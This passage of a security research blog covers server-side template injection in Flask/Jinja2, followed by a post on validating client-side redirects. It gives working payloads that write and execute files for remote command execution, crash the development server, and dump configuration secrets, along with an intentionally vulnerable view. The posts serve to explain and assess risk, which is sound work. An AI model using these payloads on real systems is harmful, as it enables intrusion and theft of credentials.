                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

There's a couple of interesting things here. The most obvious is the use of the compile function against the contents of a file whose path is provided as a parameter. This would come in handy if we had a way to write files to the operating system, no? Well, as we just discussed, we do! We can use the aforementioned file class to not only read files, but write them to world writeable locations on the target server. Then, we can call the from_pyfile method through the SSTI vulnerability to compile the file and execute the contents. This is a 2 staged attack. First, inject something like {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }} into the SSTI vulnerability. Then, invoke the compilation process by injecting {{ config.from_pyfile('/tmp/owned.cfg') }}. The code will execute upon compilation. Remote Code Execution achieved.

But let's take it a step even further. While running code is great and all, having to go through a multi-step process for each block of code we want to run is tedious. Let's leverage the from_pyfile method for its intended purpose and add something useful to the config object. Inject {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} into the SSTI vulnerability. This will write a file to the remote server that, when compiled, imports the check_output method of the subprocess module and sets it to a variable named RUNCMD, which, if you recall from the previous article, will get added to the Flask config object virtue of it being an attribute with an upper case name.

Inject {{ config.from_pyfile('/tmp/owned.cfg') }} to add the new item to the config object. Notice the difference between the following before and after images.

Now we can invoke the new configuration item to run commands on the remote operating system. Demonstrate this by injecting {{ config['RUNCMD']('/usr/bin/id',shell=True) }} into the SSTI vulnerability.

Remote Command Execution achieved.

Conclusion

We can now close the book on escaping the Flask/Jinja2 template sandbox and conclude that the impact of SSTI in Flask/Jinja2 environments is substantial. I'd also like to point out that this is largely the result of the way Python works, and not so much the fault of the Flask framework. I'd be willing to bet that all of the Python MVC/MTV web frameworks suffer from similar exploitation vectors. Ultimately, it is up to the developers using these frameworks to properly follow template design best practices and ensure that their applications do not blindly trust user-supplied data.

Exploring SSTI in Flask/Jinja2

2016-03-09T00:00:00Z

This is the first of two articles covering research into SSTI in the Flask/Jinja2 development stack. This article only tells half the story, but an important half that provides context to the final hack. Please consider reading both parts in their entirety. Part 2 can be found here.

If you've never heard of Server-Side Template Injection (SSTI), or aren't exactly sure what it is, then read this article by James Kettle before continuing.

As security professionals, we are in the business of helping organizations make risk-based decisions. Seeing as risk is a product of impact and likelihood, without knowing the true impact of a vulnerability, we are unable to properly calculate the risk. As someone that frequently develops using the Flask framework, James' research prompted me to determine the full impact of SSTI on applications developed using the Flask/Jinja2 development stack. This article is the result of that research. If you want a little more context before diving in, check out this article by Ryan Reid that provides a bit more context to what SSTI looks like in Flask/Jinja2 applications.

Setup

In order to assess SSTI in the Flask/Jinja2 stack, let's build a small proof-of-concept application that contains the following view.

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

The scenario behind this code is that the developer thought it would be silly to have a separate template file for a small 404 page, so he created a template string within the 404 view function. The developer wanted to echo back to the user the URL which resulted in the error, but rather than pass the URL to the template context via the render_template_string function, the developer chose to use string formatting to dynamically add the URL to the template string. Pretty reasonable, right? I've seen worse.

When exercising this functionality, we see the expected behavior.

Most people that see this behavior immediately think XSS, and they would be right. Appending <script>alert(42)</script> to the end of the URL triggers a XSS vulnerability.

The target code is vulnerable to XSS, and if you read James' article, he points out that XSS can be an indicator of possible SSTI. This is a good example of that. But if we dig a little deeper by appending {{ 7+7 }} to the end of the URL, we'll see that the template engine evaluates the mathematical expression and the application responds with 14 where the template syntax would have been.

We have now discovered SSTI in the target application.

Analysis

Now that we have a working exploit, the next step is to dig into the template context and find out what is available to an attacker of the application through the SSTI vulnerability. Modify the vulnerable view function of the proof-of-concept application to look as follows.

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template,
        dir=dir,
        help=help,
        locals=locals,
    ), 404

The call to render_template_string now includes the dir, help, and locals built-ins, which adds them to the template context so we can use them to conduct introspection through the vulnerability and find out what is programmatically available to the template.

Let's pause briefly and talk about what the documentation says about the template context. There are several origins from which objects end up in the template context.

Jinja globals
Flask template globals
Stuff explicitly added by the developer

We are mostly concerned about items #1 and #2 because these are universal defaults, providing reasonable expectation that they will be available anywhere we find SSTI in an application using the Flask/Jinja2 stack. Item #3 is application dependent and can be accomplished in a number of ways. This stackoverflow discussion contains a few examples. While we won't dive into item #3 in this article, it is absolutely something that to consider when conducting static source code analysis of applications leveraging the Flask/Jinja2 stack.

To continue with introspection, our methodology should look something like this.

Read the documentation!
Introspect the locals object using dir to see everything that is available to the template context.
Dig into all objects using dir and help.
Analyze the Python source code of anything interesting (after all, everything in the stack is open source).

Results

We make our first interesting discovery by introspecting the request object. The request object is a Flask template global that represents "The current request object (flask.request)." It contains all of the same information you would expect to see when accessing the request object in a view. Within the request object is an object named environ. The request.environ object is a dictionary of objects related to the server environment. One such item in the dictionary is a method named shutdown_server assigned to the key werkzeug.server.shutdown. So, guess what injecting {{ request.environ['werkzeug.server.shutdown']() }} does to the server? You guessed it. An extremely low effort denial-of-service. This method does not exist when running the applicatiom using gunicorn, so the vulnerability may be limited to the development server.

Our second interesting discovery comes from introspecting the config object. The config object is a Flask template global that represents "The current configuration object (flask.config)." It is a dictionary-like object that contains all of the configuration values for the application. In most cases, this includes sensitive values such as database connection strings, credentials to third party services, the SECRET_KEY, etc. Viewing these configuration items is as easy as injecting a payload of {{ config.items() }}.

And don't think that storing these configuration items in environment variables protects against this disclosure. The config object contains all of the configuration values AFTER they have been resolved by the framework.

Our most interesting discovery also comes from introspecting the config object. While the config object is dictionary-like, it is a subclass that contains several unique methods: from_envvar, from_object, from_pyfile, and root_path. Finally, an opportunity to dig into source code. Below is the code for the from_object method of the Config class, flask/config.py.

    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes.

        Just the uppercase variables in that object are stored in the config.
        Example usage::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))

We see here that if we pass a string object to the from_object method, it passes the string to import_string method from the werkzeug/utils.py module, which attempts to import anything from the path whose name matches and return it.

def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).

    If `silent` is True the return value will be `None` if the import fails.

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

The from_object method then adds all attributes of the newly loaded module whose variable name is all uppercase to the config object. The interesting thing about this is that attributes added to the config object maintain their type, which means functions added to the config object can be called from the template context via the config object. To demonstrate this, inject {{ config.items() }} into the SSTI vulnerability and note the current configuration entries.

Then inject {{ config.from_object('os') }}. This will add to the config object all attributes of the os library whose variable names are all uppercase. Inject {{ config.items() }} again and notice the new configuration items. Also notice the types of these configuration items.

Any callable items added to the config object can now be called through the SSTI vulnerability. The next step is finding functionality within the available importable modules that can be manipulated to break out of the template sandbox.

The following script replicates the behavior of from_object and import_string and analyzes the entire Python Standard Library for importable items.

#!/usr/bin/env python

from stdlib_list import stdlib_list
import argparse
import sys

def import_string(import_name, silent=True):
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)

    except ImportError as e:
        if not silent:
            raise

class ScanManager(object):

    def __init__(self, version='2.6'):
        self.libs = stdlib_list(version)

    def from_object(self, obj):
        obj = import_string(obj)
        config = {}
        for key in dir(obj):
            if key.isupper():
                config[key] = getattr(obj, key)
        return config

    def scan_source(self):
        for lib in self.libs:
            config = self.from_object(lib)
            if config:
                conflen = len(max(config.keys(), key=len))
                for key in sorted(config.keys()):
                    print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))

def main():
    # parse arguments
    ap = argparse.ArgumentParser()
    ap.add_argument('version')
    args = ap.parse_args()
    # creat a scanner instance
    sm = ScanManager(args.version)
    print('\n[{module}] {config key} => {config value}\n')
    sm.scan_source()

# start of main code
if __name__ == '__main__':
    main()

Below is some abbreviated output from the script when ran against Python 2.7, including the most interesting importable items.

(venv)macbook-pro:search lanmaster$ ./search.py 2.7

[{module}] {config key} => {config value}

...
[ctypes] CFUNCTYPE               => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE              => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP                     => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS                 => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP                            => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS                           => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml.dom.pulldom] SAX2DOM                => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml.etree.ElementTree] XML        => <function XML at 0x10d138de8>
[xml.etree.ElementTree] XMLID      => <function XMLID at 0x10d13e050>
...

From here, we apply our methodology to the interesting items in hopes of finding something we can use to escape the template sandbox.

TL;DR, I was unable to find a sandbox escape through any of these items. But for the sake of sharing research, below is additional information about my approach to a few of them. Also note that I did not exhaust all possibilities. There is certainly opportunity for further research.

ftplib

Here we have the possibilty of using a ftplib.FTP object to connect back to a server we control and upload files from the affected server, or download files from a server to the affected server and exec the contents using the config.from_pyfile method. Analysis of the ftplib documentation and source code shows that ftplib requires open file handlers to do this, and since the open built-in is disabled in the template sandbox, there doesn't seem to be a way to create the file handlers.

httplib

Here we have the possibilty of using a httplib.HTTP object to load the URLs of files on the local file system using the file protocol handler, file://. Unfortunately, httplib does not support the file protocol handler.

xml.etree.ElementTree

Here we have the possibilty of using a xml.etree.ElementTree.XML object to load files from the file system using user defined entities. However, as can be seen here, etree does not support user-defined entities.

xml.dom.pulldom

While the xml.etree.ElementTree modules doesn't support user-defined entities, the pulldom module does. However, we are limited to the xml.dom.pulldom.SAX2DOM class, which does not appear to expose a way to load XML through the object's interface.

Conclusion

Even though we've not yet discovered a way to escape the template sandbox, we've made some headway in determining the impact of SSTI in the Flask/Jinja2 development stack. I'm certain that there is some additional digging to do here, and I intend to continue, but I encourage others to dig in and explore as well. I'll update things here if/when I find additional items of interest regarding this research.

Validating Redirects with Hyperlinks

2015-12-02T00:00:00Z

I came across an application recently that contained an Unvalidated Redirect flaw. The flaw was pretty basic. The login page accepted a next parameter and blindly redirected to the value of the parameter without validating whether or not the value represented a trusted destination. The redirect occurred in client-side logic without the parameter ever hitting the server. My recommendation to the client included a pretty basic JavaScript validation filter, and they quickly implemented a fix and sent the code back for me to validate if the flaw had been remediated. In looking at the code, I realized that they had not implemented my recommended code, but did something that I had not seen before and thought was quite novel. Hence, why I am writing this.

The remediated redirect logic contained a call to a function that consumed the value of the next parameter and the hostname of the current location.

document.location = validate(next, document.location.hostname)

Pretty standard stuff. The interesting bit was in the called function.

function validate(n, c) { var r = document.createElement("a"); return r.href = n, r.hostname === c ? n : "/"; }

Which can be simplified to...

function validate(n, c) { var r = document.createElement("a"); r.href = n; return r.hostname === c ? n : "/"; }

Which can be further simplified to...

function validate(n, c) { var r = document.createElement("a"); r.href = n; if(r.hostname === c) { return r.href; } else { return "/" ; }}

I am including several versions of the same code because the first version can be quite confusing to folks that aren't familiar with the Comma operator.

Just in case you haven't picked up on it yet, let's look at exactly what is going on here. I am using the Chrome Developer Tools JavaScript console on the nVisium web page to demonstrate this if you want to follow along. Paste one of the functions above into the console and assign a value to a variable called next.

var next = "http://lanmaster53.com"

Now let's follow the logic of the first simplified version of the validate function to see how this works. The function first creates a hyperlink tag. Don't type the following into the console. I'll let you know when we're ready to continue with the demonstration.

var r = document.createElement("a")

Hyperlink tags accept an attribute called href that determines the destination of the browser when the hyperlink is clicked. The function then sets the href attribute of the dynamically created hyperlink to the value of the next parameter.

r.href = n

This is where it gets interesting. Like the document object itself, the hyperlink tag object has a hostname property. Once the hyperlink's href attribute has a value, the hostname property will contain a nicely parsed hostname for the assigned href. What the function is essentially doing is using the browser's builtin parser to break apart URLs in a consistent manner. Pretty cool, right?

All that's left for the function to do is compare the hostname of the document (provided to the function) and the hostname derived from the dynamically created hyperlink to determine whether the value of the next parameter is a safe location, in this case local to the application.

return r.hostname === c ? n : "/"

This is a Ternary operator that accepts a conditional expression that evaluates to true or false and returns one of two expressions based on the result. In this case, the function returns the value of the next parameter if the hostnames match, or the root of the web site if they do not, effectively restricting all redirects to locations local to the application.

Let's test the validation function with our values. Enter the following into the console to continue the demonstration.

validate(next, document.location.hostname)

The function should have returned /, which, when assigned to document.location would redirect the browser to the root of the website. Now change the value of next to something local and test.

var next = "https://nvisium.com/blog"
validate(next, document.location.hostname)

The function should have returned the value of next.

Using the browser's builtin parser to break apart URLs is pretty darn cool if you ask me. And you aren't limited to the hostname. Hyperlinks also have the origin property if you want to restrict URLs based on similar restrictions enforced by Same-Origin Policy. In any case, I thought this was worth sharing.